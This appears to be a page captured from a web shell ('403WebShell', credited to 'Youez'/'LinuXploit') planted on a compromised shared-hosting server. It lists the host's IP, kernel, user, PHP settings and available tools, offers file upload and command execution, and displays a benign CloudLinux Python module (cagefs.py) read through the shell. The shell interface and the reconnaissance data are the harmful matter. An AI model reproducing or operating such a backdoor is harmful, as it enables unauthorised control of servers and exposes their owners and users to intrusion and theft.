Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.147.6.122
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/opt/cloudlinux/venv/lib/python3.11/site-packages/clconfigure/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/opt/cloudlinux/venv/lib/python3.11/site-packages/clconfigure/cagefs.py
# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2024 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# https://cloudlinux.com/docs/LICENCE.TXT
#
import functools
import logging
import os

from clcommon.const import Feature
from clcommon.cpapi import is_panel_feature_supported
from clconfigure import run, task
from clconfigure.packages import install_package

CAGEFSCTL = "/usr/sbin/cagefsctl"


def _skip_without_cagefs(func):
    @functools.wraps(func)
    def decorator(*args, **kwargs):
        if not is_panel_feature_supported(Feature.CAGEFS):
            logging.debug("Feature 'CageFS' is not supported. Skipping...")
            return

        if not os.path.exists(CAGEFSCTL):
            logging.debug("CageFS is not installed. Skipping...")
            return

        return func(*args, **kwargs)
    return decorator


@_skip_without_cagefs
@task("Cleaning CageFS environment")
def clean_cagefs_without_lve_environment():
    if is_panel_feature_supported(Feature.LVE):
        logging.debug("LVE feature is supported. Skipping...")
        return

    result = run([CAGEFSCTL, "--clean-without-lve-environment"])
    if result.exitcode != 0:
        logging.warning("Unable to clean non-LVE CageFS enviroment. stdout: %s, stderr: %s",
                        result.stdout, result.stderr)


@_skip_without_cagefs
@task("Reconfiguring CageFS")
def reconfigure_cagefs():
    install_package("cagefs", reinstall=True)
    _rebuild_apache_directadmin()


def _rebuild_apache_directadmin():
    da_bin = "/usr/local/directadmin/directadmin"
    if not os.path.exists(da_bin):
        return

    result = run([da_bin, "build", "apache"])
    if result.exitcode != 0:
        logging.warning("Error during rebuilding Apache. stdout: %s, stderr: %s",
                        result.stdout, result.stderr)

Youez - 2016 - github.com/yon3zu
LinuXploit